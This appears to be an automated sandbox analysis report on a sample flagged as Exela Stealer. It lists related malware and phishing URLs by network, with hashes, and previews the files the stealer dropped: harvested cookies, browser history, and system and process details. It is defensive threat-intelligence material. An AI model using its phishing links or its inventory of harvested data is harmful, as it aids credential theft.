	RKeUGmUe.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	MkVtrMLG.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.135.232
	hqqLkX16.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.128.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MASSIVE-NETWORKSUS	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	206.168.191.31
	a2Mng2JPCI.elf	Get hash	malicious	Mirai, Okiru	Browse	207.174.78.113
	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	206.168.190.239
	Mauqes.exe	Get hash	malicious	Unknown	Browse	206.168.190.239
	e.exe	Get hash	malicious	Unknown	Browse	206.168.190.239
	e.exe	Get hash	malicious	Unknown	Browse	206.168.190.239
	e.exe	Get hash	malicious	Unknown	Browse	206.168.190.239
	e.exe	Get hash	malicious	Unknown	Browse	206.168.190.239
	Leak Porn MMS Teen Girl.js	Get hash	malicious	RHADAMANTHYS	Browse	206.168.191.31
	erg.exe	Get hash	malicious	Unknown	Browse	206.168.190.239
CLOUDFLARENETUS	https://menziesaviation.perspectivefunnel.com/6627e317d6513900142546ad/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	lzShU2RYJa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://runrun.it/share/form/0SRuaDvcQOCgwT9F	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://u43997916.ct.sendgrid.net/ls/click?upn=u001.8-2Bu6iTAOb-2FcpkRnZlUIEsFX12VujJLkoH2yCHZQsWjupenpr7B6ykMomuFAeFzXVNSonRr-2FISOMHDDlMnH1PDQ-3D-3Dwo0m_siaPD1JbayxF6TPhGtuaBQC3EhYPEfBWE2CMcyur3sLmOuN6D0k7B9uB2d6lG3eyRcBDD5pIxMQgneoQJNokqAOvFY6J9Uhi-2F6PSDYFQgIMLXof1fdbPFYjo0m-2FpFL9TPBTZH5ISgAZIHA-2FCPZVhL9H6tn4iThoVMhFZMrkPXsKcqiolaF6RpZbFxs8-2FULT4Cp2J1vOfk5-2ByygSilfGdRwfCb868apzApUM5bXVvPhI-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://ncdocvault.net	Get hash	malicious	Unknown	Browse	172.67.147.238
	XV9q6mY4DI.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	https://app.frame.io/presentations/da0e116a-d15f-430f-8c37-0aa7d783720f?component_clicked=digest_call_to_action&email_id=8abc710c-c18f-47f5-a884-e927cb8dcfaa&email_type=pending-reviewer-invite	Get hash	malicious	HTMLPhisher	Browse	104.21.44.137
	https://btcpike.top	Get hash	malicious	Unknown	Browse	104.18.28.104
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
TUT-ASUS	Control-Tributario_KFRCkzlbCHUSEBMRSECA.zip	Get hash	malicious	Unknown	Browse	208.95.112.1
	Swift Payment.bat	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	SARL RABINEAU Order FA2495.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat	Get hash	malicious	GuLoader	Browse	208.95.112.1
	Spare part list.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Zapytanie ofertowe Fl#U00e4ktGroup 04232024.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Umulighed.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Dhl Express Shipping Docs .pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
CLOUDFLARENETUS	https://menziesaviation.perspectivefunnel.com/6627e317d6513900142546ad/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	lzShU2RYJa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://runrun.it/share/form/0SRuaDvcQOCgwT9F	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://u43997916.ct.sendgrid.net/ls/click?upn=u001.8-2Bu6iTAOb-2FcpkRnZlUIEsFX12VujJLkoH2yCHZQsWjupenpr7B6ykMomuFAeFzXVNSonRr-2FISOMHDDlMnH1PDQ-3D-3Dwo0m_siaPD1JbayxF6TPhGtuaBQC3EhYPEfBWE2CMcyur3sLmOuN6D0k7B9uB2d6lG3eyRcBDD5pIxMQgneoQJNokqAOvFY6J9Uhi-2F6PSDYFQgIMLXof1fdbPFYjo0m-2FpFL9TPBTZH5ISgAZIHA-2FCPZVhL9H6tn4iThoVMhFZMrkPXsKcqiolaF6RpZbFxs8-2FULT4Cp2J1vOfk5-2ByygSilfGdRwfCb868apzApUM5bXVvPhI-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://ncdocvault.net	Get hash	malicious	Unknown	Browse	172.67.147.238
	XV9q6mY4DI.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	https://app.frame.io/presentations/da0e116a-d15f-430f-8c37-0aa7d783720f?component_clicked=digest_call_to_action&email_id=8abc710c-c18f-47f5-a884-e927cb8dcfaa&email_type=pending-reviewer-invite	Get hash	malicious	HTMLPhisher	Browse	104.21.44.137
	https://btcpike.top	Get hash	malicious	Unknown	Browse	104.18.28.104
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI67602\_asyncio.pyd	saturn.bat.exe	Get hash	malicious	Exela Stealer	Browse
	SecuriteInfo.com.Win64.Evo-gen.20253.17340.exe	Get hash	malicious	Exela Stealer	Browse
	SecuriteInfo.com.Win64.Evo-gen.20285.22431.exe	Get hash	malicious	Exela Stealer	Browse
	SecuriteInfo.com.Win64.Evo-gen.15998.5924.exe	Get hash	malicious	Exela Stealer	Browse
	SecuriteInfo.com.Win64.Evo-gen.31305.28602.exe	Get hash	malicious	Exela Stealer	Browse
	9afaXJv52z.exe	Get hash	malicious	Exela Stealer	Browse
	capthca-bypass.exe	Get hash	malicious	Exela Stealer	Browse
C:\Users\user\AppData\Local\Temp\_MEI67602\VCRUNTIME140.dll	SecuriteInfo.com.Win64.Evo-gen.21575.16188.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse
	PDF Merge.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Malware-gen.18747.19997.exe	Get hash	malicious	Unknown	Browse
	DeepLSetup.exe	Get hash	malicious	Unknown	Browse
	DeepLSetup.exe	Get hash	malicious	Unknown	Browse
	!!@NeW_$etUp_2024_pAsSW0rds$_.exe	Get hash	malicious	LummaC	Browse
	1tQ7HC6GOS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	stub_builder.exe	Get hash	malicious	Blank Grabber	Browse
	file.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse
	EIrPdlD2lA.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307370104264997
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrU:KooCEYhgYEL0In
MD5:	D27F468CD852815B98BF0AD19799FBC0
SHA1:	ECA846699A9E12E2A63F88DAADEBA079476B6F31
SHA-256:	34CD88F68DC1E351F5A7339070A8821B43C78B5348072689AE5D936F86E8F57D
SHA-512:	454F06E81726B8B118354040B36A3A9EE6BF7881E019623135C87025386724F9B4C521145D6807159523BD02B1F95A5DA6BA097AB8B4007DC361B61DC843DC59
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0c7c8d00, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221309502865908
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	3F3253A9FE27F7AD7A9A01B8F14082BE
SHA1:	79E49436846812215E4B60BDA2933055394DF167
SHA-256:	571D9A0FDF4799AEDC346DF0161AA533A166CB6FD8BBAE6A8B8A443205F39DB1
SHA-512:	733EF629F052627890DF0895D5C268E6067FD7A9F21F270885F4260A4679E00116BC23E706DA0A6A51CE1B2BBDB9AFFB6323D6DC85030294CB6EE8CB481C5B9B
Malicious:	false
Preview:	.\|..... .......A.......X\...;...{......................0.!..........{A......\|1.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................O.......\|1..................8.......\|1..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07654035734174698
Encrypted:	false
SSDEEP:	3:vJ1KYeaKZUhGjjn13a/2IZ8lAllcVO/lnlZMxZNQl:jKzZUhGj53q2k0AOewk
MD5:	FB672CBC7A4CBE11D7A70CF3F43316CC
SHA1:	1F3B7536CA74FE09765BED7647F2DA3E2F7F2523
SHA-256:	E50BE088F58CE9382F75EFE8D6825885FB916DCFD08D16A3E60D97E5ECFB2674
SHA-512:	3039D8B45443E2E0983E6F3D2AD34C60DB050E537FC2C1485041EC760DBE379192AE43451253136451D7F293A8E20E14818E40F19FFA46B2BFC4A047CB4A4AF8
Malicious:	false
Preview:	9{.......................................;...{.......\|1......{A..............{A......{A..........{A].................8.......\|1.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11317024
Entropy (8bit):	7.996384436680205
Encrypted:	true
SSDEEP:	196608:0GAYfPA7lz2Jp5UfLuseNvX+wfm/pf+xfdkR7c2WKsnqrIWOIW0DaqkH:LAYg7h2Jp5MivX+9/pWFGR7c2BsnqrID
MD5:	D53E9B9D10AFFCF90E613ABCCC702CA2
SHA1:	24849B1A515347A75804D53C483CE6DFFC78DBCC
SHA-256:	0BCFADB848694EE56BF3FAD6C3A9DF4FDE2D60CD52CE2A16BE42B06FDA520812
SHA-512:	12518C78D05C6BCCD7048A80BAE141D286DD241BBF55AFE6622C36E1E115018C48186A52C5FDB21D6B589461C7A619949D354045E15B5C76A2A09EBFDF392B46
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................-................,..............................................Rich...................PE..d...*2(f.........."....&.....v......0..........@.........................................`.....................................................x....p..,....0...#..............X...@...................................@............... ............................text............................... ..`.rdata...........0..................@..@.data....3..........................@....pdata...#...0...$..................@..@_RDATA.......`......................@..@.rsrc...,....p......................@..@.reloc..X............ ..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\67f46lun

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	709050
Entropy (8bit):	7.997776044854083
Encrypted:	true
SSDEEP:	12288:nageqv9k34b4lS/Rn4rRj0u95y5AMZNeVITQ1RMkq/IPP/doqCRDCRigYvA1YRP:nUqv9kHc/Ri0uHy5AMZNeIYRMR/e/don
MD5:	C247C5BA6BCBC6EE4A6E827BB6E5873B
SHA1:	10116ABECBDAB50886817CE3588AA6D0F30D26FD
SHA-256:	FBEE3EEE0383C5BD164428F821CA9DCBA55486B257A0E5FED0B494019B7B6EA2
SHA-512:	09EAE629CF070EF37284CB90747AB37D1509ECE42767B02C5FFBEA79EE95DF20AC6DD6060441503ECB7E3569493750ED3739C74A16EE37365816849AC4764806
Malicious:	false
Preview:	PK...........X................Browsers/PK...........X................Wallets/PK...........Xo.._(...G.......Display (1).pngl.y<....{.4b.0..g$K&.}....mD....T..`.d'k".(..[.....%.lc.1..3...;.<....q.3.p.^.....\|.....q..2#.....z.@G...0.....Ij...YO.....g..)..T..0.....K.......B.....>...N...U....VA?=n..p`..kV.....K........K..._...&..\.......l...P.1...q............3@..............z09..wW.!...AA...q.d.G.........oY.g...u...$ o.......I../q&n...bm...q.YTY...$i.q'.W..m....=y.3e.!.u....C.E.c.H.?:.]..8..g.3..{.U'.j.^G}.$^#].+z.g....sG.....e..Y..Ww.,...r?x.N.............[L..H/)..j.wY.0.........OzT...Y.g!.&@.x.@.f%.z..GJ..x.5.zC.`s.L.o.g/7N...g...\...7..CJ....x..A....g/..[@f>.su..#{G..r.0+..`.Km2..w*$.!.{.Wu....4\|u.U{......o..@..>..n.k?..7W.\|..~.p..g...^m.).x.....\|hefG!z.x.Y..Z...UZ.v\|.J.=e..X.W..\|..r......B5.'%9.!..b..I..a.....v...u..b..E..l.+!....q......a...q,..-...q..a...k...V...27d.Kd.9.5..x.WUdC..M.....\YU..zd..V..my4.&.....&..W.T}.....6)<......+.......

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (522), with CRLF line terminators
Category:	dropped
Size (bytes):	3488
Entropy (8bit):	5.880132531509811
Encrypted:	false
SSDEEP:	96:LMJMpoO2gFcRqFZL2L+yLstv3pPDYReynqsbCw4R2cksr:eFFRiNEUd7
MD5:	A77A3F14636E05B646BDD2E385CFCDC3
SHA1:	11C80A73FB067FFB85C9BD80E66EF1179D1EBFB8
SHA-256:	E0BD0C615EFC6E89164589897A280C9CB72FEF9084466AB63E77B0BA9939D6C0
SHA-512:	46E3C8284596248FA43F9C767CE36F876B4B63B64D6CD2A93904CB3866E856D2043CFCC03537E4C9169DB59FD2F868FAB0989706DE4AFD48EEEC15EB43346656
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================...google.com.TRUE./.FALSE.13356618603686193.NID.511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk..support.microsoft.com.TRUE./.TRUE.13340887435186329..AspNetCore.AuthProvider.True..support.microsoft.com.TRUE./signin-oidc.TRUE.13340887735359381..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.N..support.microsoft.com.TRUE./signin-oidc.TRUE.13340887735359334..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkHB6alahUr8qJ7G_3AejtooymTWCzyO89hshJeX8Gh78kohbIw0IQY4v6LZriT4P2fGeBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VSMOfm-L0RnS8.N..support.office.com.TRUE./.TRUE.133

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	4.137394051573412
Encrypted:	false
SSDEEP:	24:L5xsMvXvxsajXJl1QXbsBQXY6CQExXBYGQFEDK4:LzlVVgmHgWdIoV
MD5:	FC2BE027B954580D7C389EE60BF7A809
SHA1:	9D2BEB95F433468ED667AA1ED8DD80C21D44FD4B
SHA-256:	E291A44D3CEDA01F2D8FB5CA4828E33BF0ABA921E544168FDEFE7D77D0B99ADB
SHA-512:	8C804E8F6C69C5F45CBF3FA8A01DBB17BA1DC5C5C4E14569621076D842756233DD2C2C6161F0997C77735A6C6C21C5DD9B1658549791008187D3BC22B8744F89
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..ID: 1..RL: https://support.mozilla.org/products/firefox..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 2..RL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 3..RL: https://www.mozilla.org/contribute/..Title: None..Visit Count: 0..Last Visit Time: None..====================================================================================..ID: 4..RL: https://www.mozilla.org/about/..Title: None..Visit Count: 0..Last Visit Time: None..=========================================================================

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Historys.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2728
Entropy (8bit):	4.660039615120458
Encrypted:	false
SSDEEP:	48:LFzmxDwemx5VcDKJMmx2VuDKJMmxhzxANLpzxAjVVpbjxA0ScpbjxAb:LFzmlwem/aDKMmAEDKMmfz0cdj7njU
MD5:	20A3A44BDA7E4F584DE08D454799AE3B
SHA1:	A9303AC5FA3167501761237DA4BF1872813A2D5F
SHA-256:	B8D46AE104194B6FD27A55B0831CD2D14A2C656147A8A9AD3AC53656174439C0
SHA-512:	2DE9ECF25CFE88E6CD07508E2936EFDAC1E0CC9E585B5B4194733CC1C61A30F9655C9519C44607C2CD7B4513BD8D1AE9644E066593254606862984E12EC7CD36
Malicious:	false
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..ID : 1..URL : https://go.microsoft.com/fwlink/?linkid=851546..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..====================================================================================..ID : 2..URL : https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..====================================================================================..ID : 3..URL : https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..itle : Examples of Office product keys - Microsoft Support..Visit Count : 2..Last Visit Time 13340808471256388..=======================================

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	239
Entropy (8bit):	4.013150855673924
Encrypted:	false
SSDEEP:	3:111T8/s5hO7y9EkFLxo4RhN3cC/ovkIuEydJzKpLRbRewLWn:Lv5hOqo4RhN3z/ovkixLCpn
MD5:	C75D0F1FD6CBE1D76DD43816D1BCC9E5
SHA1:	2EEBD437E5F115664BC9B15A98B3689E9F64146A
SHA-256:	21450D56FBACC34EA7894996953B5F123D8B119F02DA9CA725C22B079BFEC08E
SHA-512:	A42ACC48A4C0EE7DAF8C38717EBE922906EDE26CA411393A35AE52CBF92A3753DCDC843EDD67A7D8173B8E9A953B059B10109AD657A1FC8BF76AFF7B5721A0D0
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..154.16.105.36..United States..Las Vegas..America/Los_Angeles..AS174 AS174 Cogent Communications

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	23615
Entropy (8bit):	4.613112582537587
Encrypted:	false
SSDEEP:	384:tnbel6BlZhZBplUjekgiM9HQFkodQjSfORd2+FFTjW2JBHvhRoFgBSi88RIuSRO3:6bKwbETXZ
MD5:	632505D8E239C4469E9FCAE5E747F870
SHA1:	DC665F83779F9724DF2F70A19672267E9B303FFB
SHA-256:	D364256920CC1C5612E60036387E93B268949EA7306BAED86458ABFFBE61B638
SHA-512:	81B4316003B972D4C744FE745CD11281B62F06DE0EE5A99FBDBFF5488A89DA638321ED1E17700FC70E0D14D65D769A4843FE8670DA520901284CB1786E21621E
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 176 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 79'528 K......Image Name: smss.exe...PID: 324...Session Name: Services...Session#: 0...Mem Usage: 1'236 K......Image Name: csrss.exe...PID: 408...Session Name: Services...Session#: 0...Mem Usage: 5'300 K......Image Name: wininit.exe...PID: 484...Session Name: Services...Session#: 0...Mem Usage: 7'256 K......Image Name: csrss.exe...PID: 492...Session Name: Console...Session#: 1...Mem Usage: 5'984 K......Image Name: winlogon.exe...PID: 552

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\system_info.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	142452
Entropy (8bit):	4.350195904371633
Encrypted:	false
SSDEEP:	1536:ZDpv+DlX7z8oiEmea91gbTvU2LaWJVQgDFIaLVk2vcE66drKwIRBFKdQT8RSayLu:ZDbwKU
MD5:	4CEBC6DB31F6D07797BA5EB408C08AFA
SHA1:	792632906355F7AD001AA8A153B55C1DCA984BEE
SHA-256:	DA4470B9DFCCD8750600996AD932FA9E00CE26F9CBE49C32C062659C5DFD61F7
SHA-512:	76625153967A391233D4AB713D9B9933D0A85CCB2FEF8DCF2AD368BF4B634DDDD5F91ADDD81BC804B79F14B585455E77AD5847800DA1BE14EF22FD66D1BD173D
Malicious:	true
Preview:	----------------------https://t.me/ExelaStealer----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71388-77104-AAOEM...Original Install Date: 03/10/2023, 09:57:18...System Boot Time: 24/09/2023, 13:00:03...System Manufacturer: B8kdPTTRbFU74El...System Model: 5yEP5M3x...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]: Inte

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

